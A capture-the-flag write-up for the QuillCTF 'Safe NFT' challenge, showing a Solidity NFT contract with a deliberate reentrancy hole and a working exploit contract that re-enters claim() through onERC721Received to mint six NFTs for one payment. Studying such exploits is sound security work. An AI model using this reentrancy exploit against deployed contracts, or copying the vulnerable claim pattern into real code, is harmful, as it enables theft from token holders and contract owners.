QuillCTF - Safe NFT

SafeNFT

Challenge Link to heading

We get one contract for a NFT:

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.7;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/ERC721Enumerable.sol";

contract safeNFT is ERC721Enumerable {
    uint256 price;
    mapping(address=>bool) public canClaim;

    constructor(string memory tokenName, string memory tokenSymbol,uint256 _price) ERC721(tokenName, tokenSymbol) {
        price = _price; //price = 0.01 ETH
    }

    function buyNFT() external payable {
        require(price==msg.value,"INVALID_VALUE");
        canClaim[msg.sender] = true;
    }

    function claim() external {
        require(canClaim[msg.sender],"CANT_MINT");
        _safeMint(msg.sender, totalSupply()); 
        canClaim[msg.sender] = false;
    }
}

The goal is to claim multiple NFTs for the price of one

Solution Link to heading

Here we have a very simple reentrancy attack. THe _safeMint functionality calls back to our contract, which in the end lets us call back multiple times before the canClaim gets reset. We can write a simple exploit contract to exploit the vulnerability:

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.7;

import "./Chal.sol";

contract exploiter {

    int claims;
    safeNFT NFT_contract;

    constructor(address target_addr)
    {
        claims = 0; 
        NFT_contract = safeNFT(target_addr);
    }

    function attack() payable public
    {
        require(msg.value == 0.01 ether, "You need to send 0.01 ether man :("); // 10000000000000000 Wei

        NFT_contract.buyNFT{value: 0.01 ether}();
        NFT_contract.claim();
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4)
    {
        if (claims < 5)
        {
            claims += 1;
            NFT_contract.claim();
        }

        return this.onERC721Received.selector;
    }
}

Passing the contract address to this contract in the constructor and then running this contract, we can get 6 NFTs for the price of 1.

Files Link to heading